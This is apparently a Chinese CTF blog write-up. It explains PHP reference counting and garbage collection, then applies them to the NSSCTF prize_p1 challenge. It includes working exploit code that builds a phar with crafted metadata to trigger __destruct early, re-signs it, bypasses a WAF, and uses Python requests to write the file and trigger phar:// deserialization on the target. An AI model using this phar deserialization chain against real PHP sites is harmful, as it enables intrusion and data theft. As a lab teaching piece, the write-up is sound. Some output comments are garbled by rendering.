php的垃圾回收(GC)机制介绍以及在phar反序列化中的一些利用

php的垃圾回收(GC)机制介绍以及在phar反序列化中的一些利用

析构函数__destruct()

当一个程序结束后php会自动销毁,最后再调用一次__destruct()。也就是说创建了一个对象的话,程序结束后就会被销毁,在结束时会调用一次以上__destruct()。如果要触发__destruct()的话,要么对象为null,要么php的生命周期结束,要么给定的变量被unset()销毁。那么如果程序还没有运行结束的话,在运行中抛出异常或者程序报错则不会触发__destruct(),这里就要提到GC回收机制。

GC机制官方文档

也就是垃圾回收机制,在php,python,java,c# 等中都有存在。

GC机制,能够销毁内存空间,防止内存溢出,在PHP中使用引用计数回收周期来自动管理内存对象,当一个变量被设置为NULL或者没有指针指向时它就会变成垃圾被GC机制自动回收掉;当对象没有被引用时,也会被回收,在这个过程中,会自动调用对象中的__destruct()

引用计数

每一个php变量存在一个叫做zval的变量容器,一个zval变量容器包含变量的类型和值,还包括两个字节的额外信息—is_refrefcount

is_ref是个bool值,用来标识变量是否是引用集合,通过这个字节,php引擎才可以把普通变量和引用变量区分开来。php它允许用户通过&来自定义引用,并且zval变量容器中还有一个内部引用计数机制用来优化内存的使用。

refcount表示有多少个变量名指向zval容器,也就是指向这个zval变量容器的变量个数。

我们可以使用xdebug来检查引用计数的情况
1

引用例子:

在php5.6.9下运行

<?php
$a = "new string";
$c = $b = $a;
xdebug_debug_zval( 'a' );
unset( $b, $c );//销毁$b,$c变量
xdebug_debug_zval( 'a' );
$b=&$a;//引用变量
xdebug_debug_zval('a');
?>

在php5.6.9下运行得到结果

a: (refcount=3, is_ref=0)=‘new string’
a: (refcount=1, is_ref=0)=‘new string’//b,b,c被销毁后就剩一个a指向zval容器a:(refcount=2,isref=1)=′newstring′//a指向zval容器a:(refcount=2,isr​ef=1)=′newstring′//b引用了a的地址,那么a的地址,那么b就是引用变量

在php7.3.4下运行得到结果

a: (refcount=1, is_ref=0)=‘new string’
a: (refcount=1, is_ref=0)=‘new string’
a: (refcount=2, is_ref=1)=‘new string’//b引用了b引用了a的地址,那么$b就是引用变量

注意:

在php7开始,$c = $b = $a之后a的引用变量也是1。

在PHP 7中,zval可以被引用计数或不被引用,在zval结构中有一个标志确定了这一点。

①对于null,bool,int和double的类型变量,refcount不会计数;

<?php
$a = null;
xdebug_debug_zval( 'a' );
$b=true;
xdebug_debug_zval( 'b' );
$c=1;
xdebug_debug_zval( 'c' );
$d=1.1;
xdebug_debug_zval( 'd' );

php7.3.4运行结果:

a: (refcount=0, is_ref=0)=NULL
b: (refcount=0, is_ref=0)=TRUE
c: (refcount=0, is_ref=0)=1
d: (refcount=0, is_ref=0)=1.1

refcount值都为0

php5.6.9运行结果

a: (refcount=1, is_ref=0)=NULL
b: (refcount=1, is_ref=0)=TRUE
c: (refcount=1, is_ref=0)=1
d: (refcount=1, is_ref=0)=1.1

refcount值都为1

②对于对象,refcount计数和php5的一致

<?php
class sd{
    public $s='1';
}
$a=new sd();
$b=$a;
xdebug_debug_zval('a');

php7.3.4运行结果:

a: (refcount=2, is_ref=0)=class sd { public $s = (refcount=1, is_ref=0)=‘1’ }

php5.6.9运行结果:

a: (refcount=2, is_ref=0)=class sd { public $s = (refcount=2, is_ref=0)=‘1’ }

可以发现,两个refcount结果一样

③对于字符串;

<?php
$a = "new string";
$b = $a;
xdebug_debug_zval( 'a' );
unset( $b);
xdebug_debug_zval( 'a' );
$b = &$a;
xdebug_debug_zval( 'a' );

php7.3.4运行结果:

a: (refcount=1, is_ref=0)=‘new string’
a: (refcount=1, is_ref=0)=‘new string’
a: (refcount=2, is_ref=1)=‘new string’

php5.6.9运行结果:

a: (refcount=2, is_ref=0)=‘new string’
a: (refcount=1, is_ref=0)=‘new string’
a: (refcount=2, is_ref=1)=‘new string’

④对于数组,未引用的变量被称为“不可变数组”。其数组本身计数与php5一致,但是数组里面的每个键值对的计数,则按前面三条的规则;

<?php
$c = array('a','b');
xdebug_debug_zval( 'c' );
$d=$c;
$c[2]='c';//数组值改变以后,之前的引用全部废弃,重新计算
xdebug_debug_zval( 'c' );

php7.3.4运行结果:

c: (refcount=2, is_ref=0)=array (0 => (refcount=1, is_ref=0)=‘a’, 1 => (refcount=1, is_ref=0)=‘b’)
c: (refcount=1, is_ref=0)=array (0 => (refcount=1, is_ref=0)=‘a’, 1 => (refcount=1, is_ref=0)=‘b’, 2 => (refcount=1, is_ref=0)=‘c’)

php5.6.9运行结果:

c: (refcount=1, is_ref=0)=array (0 => (refcount=1, is_ref=0)=‘a’, 1 => (refcount=1, is_ref=0)=‘b’)
c: (refcount=1, is_ref=0)=array (0 => (refcount=2, is_ref=0)=‘a’, 1 => (refcount=2, is_ref=0)=‘b’, 2 => (refcount=1, is_ref=0)=‘c’)

1

回收周期

php的垃圾回收机制是默认打开的,在php.ini中可以修改它zend.enable_gc,或者在运行php时分别调用gc_enable() 和 gc_disable()函数来打开和关闭垃圾回收机制。

请添加图片描述

首先,需要确立一些基本规则。如果 refcount 增加,则该变量仍在使用中,因此不是垃圾。如果 refcount 减少到 0,则 zval 可以释放。这意味着只有当引用计数参数减少到非零值时,才能创建垃圾循环。其次,在垃圾循环中,可以通过检查是否可以将 refcount 减少 1,并检查哪些 zval 的 refcount 为 0 来确定哪些部分是垃圾。

GC机制的实际工作

那么GC回收机制在ctf中该怎么利用呢?上面说到PHP的魔术方法__destruct()函数在程序结束后会自动调用__destruct()函数进行自动销毁,但是程序报错或者异常终止就不会触发该函数。

一段代码:

<?php
class czy{
    public $test;
    public function __construct($test)
    {
        $this->test = $test;
        echo $this->test."我是__construct"."</br>";
    }
    public function __destruct(){
        echo $this->test."我是__destruct"."</br>";
    }
}

new czy(1);//直接new一个对象创建类,并没有进行指向
$a = new czy(2);
$b = new czy(3);
//程序运行结束后会销毁所有对象,就会触发__destruct();

请添加图片描述

从运行的结果可以看到1就直接触发__destrcut()函数被当作垃圾给回收了。而1和2则是在创建完之后没有操作了才正常结束。

那么如果正常指向,然后后面再指向对象的时候忽然指向其他的,就是舍弃对象,那么又会发生什么呢?

一段代码:

<?php
class czy{
    public $test;
    public function __construct($test)
    {
        $this->test = $test;
        echo $this->test."我是__construct"."</br>";
    }
    public function __destruct(){
        echo $this->test."我是__destruct"."</br>";
    }
}

$c=array(new czy(1),4);
$c[0]=$c[1];//舍弃对象
$a = new czy(2);
$b = new czy(3);

请添加图片描述
对象czy被new了之后却被赋值为4,也就是new czy(1)执行是NULL,触发__destruct()当成垃圾被回收,也就成功执行了__destruct()里的语句,这是一个可用点。

如果我们注释掉$c[0]=$c[1];//舍弃对象
请添加图片描述

拿着就是正常创建,正常销毁。

结合题目

这里我选了一个比较典型的题目NSSCTF prize_p1题目地址

<META http-equiv="Content-Type" content="text/html; charset=utf-8" />

<?php
highlight_file(__FILE__);
class getflag {
    function __destruct() {
        echo getenv("FLAG");
    }
}

class A {
    public $config;
    function __destruct() {
        if ($this->config == 'w') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            file_put_contents("./tmp/a.txt", $data);
        } else if ($this->config == 'r') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            echo file_get_contents($data);
        }
    }
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
    die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

flag在环境变量里。

throw new Error("那么就从这里开始起航吧");//注意到这里扔出异常,那就想到今天讲的GC机制了。

在题目里也看到了

file_put_contents("./tmp/a.txt", $data);
file_get_contents($data);
以及
preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)
不免想到这里会使用phar协议
phar反序列化利用条件:
<1>有文件操作函数(file_put_contents等等)
<2>服务端有phar文件(和后缀名无关,主要是格式。这里我们利用file_put_contents()函数来写入文件)

大概思路就是先写入文件到/tmp/a.txt中,再利用phar协议解析/tmp/a.txt文件,触发destruct()获取环境变量中的flag。绕过throw new Error()的方法就是自己触发GC机制,提前进入__destruct()

phar

要生成phar文件的话,必须在php.ini文件中将phar.readonly选项设置为Off,否则无法生成phar文件。(设置时注意把前面分号删掉)
请添加图片描述

生成phar文件代码:

<?php
class getflag {
}
 
$c=new getflag();
$phar = new Phar("123.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("xxx"."xxx<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata(123); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

phar文件有四部分组成:

  1. a stub

stub的基本结构:**xxx<?php xxx;__HALT_COMPILER();?>,**前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

​ 2.a manifest describing the contents

Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存(可控),当通过phar://协议对phar文件进行文件操作时,将会对phar文件中的Meta-data进行反序列化操作这里就是漏洞利用的关键点。

​ 3. the file contents 文件内容

被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化。

​ 4.signature 签名

注意phar文件不能任意修改,修改之后由于签名的存在,文件就会失效。

查看生成的phar文件:

phar的反序列化标签格式=变长字节散列函数值+4字节所使用散列函数标签名+4字节固定标签GBMB

请添加图片描述

根据02 00 00 00可知是sha1计算签名文件链接
请添加图片描述

好了,现在根据题目生成一个phar文件

<?php
class getflag{

}

$a=new getflag();
$phar=new Phar("czy.phar");                                        //这里后缀必须为phar
$phar->startBuffering();                                             //开始写入内容
$phar->setStub("<?php __HALT_COMPILER();?>");                        //phar标识
$phar->setmetadata(array(0=>$a,1=>null));//上面数组中第一位是$a,第二位是null。序列化内容,这里内部相当于调用了serialize函数
$phar->addFromString("czy.txt","czy");                           //添加要一起加入phar归档的文件(文件名+内容)
$phar->stopBuffering();                                              //停止写入,签名自动计算
echo "成功生成phar文件";

在这里注意,我们把这个类先赋给数组,再令赋值数组为NULL,它就会失去引用从而触发GC,达到绕过GC的目的。

ok,程序运行后会生成一个czy.phar文件。我们看它的metadata部分

请添加图片描述

注意这0是将对象实例化的内容,由于getflag里面为空,也就显示了{}i,而这里的1就是null,此时如果我们把1强行改为0,那么就验证了上面的说法令赋值数组为null从而触发GC机制。但是也要注意,再将0:{}i:1;N;改为0:{}i:0;N;后,该文件需要对签名进行修复,phar文件用16进制编辑器打开后后28位的后四位是固定标识GBMB,21-24位代表的是sha1签名标识,而1-20位在这里就需要修改了。

借鉴一下脚本:

from hashlib import sha1 #sha1签名
with open("czy.phar",'rb') as f:
   text=f.read();
   main=text[:-28]        #正文部分(除去最后28字节)
   end=text[-8:]
   new_sign=sha1(main).digest()
   new_phar=main+new_sign+end
   open("czy.phar",'wb').write(new_phar)     #将新生成的内容以二进制方式覆盖写入原来的phar文件

这里1-20位重新进行了sha1签名,修复好后,由于phar文件里还有getflag明文,如果要绕过正则的话,一个方法就是传数组来绕过正则,另一种办法就是将czy.phar再进行一次压缩,这样就不会出现getflag字样。

法一:

传数组

import requests
import re

url="http://node4.anna.nssctf.cn:28513/"

### 写入phar文件
with open("czy.phar",'rb') as f:
    data1={'0[]':f.read()}                                    #注意这里要传数组,来绕过waf
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    p1 = requests.post(url=url, params=param1,data=data1)
    #print(p1.text)

### 读phar文件,触发反序列化
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
p2.encoding="utf-8"
flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)  #用正则匹配匹配post包的response.text里的‘NSSCTF{xxxxxx}’
print(flag)

法二:

压缩czy.phar文件

请添加图片描述

之后

import requests

url = 'http://node4.anna.nssctf.cn:28513/'
requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'

    },
    data={
        0: open('czy.phar.gz', 'rb').read()
    }
)

res = requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'
    },
    data={
        0: 'phar://tmp/a.txt'
    }
)
res.encoding = 'utf-8'
print(res.text)

2

参考链接

参考链接1

参考链接2

参考链接3

参考链接4

参考链接5

参考链接6

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信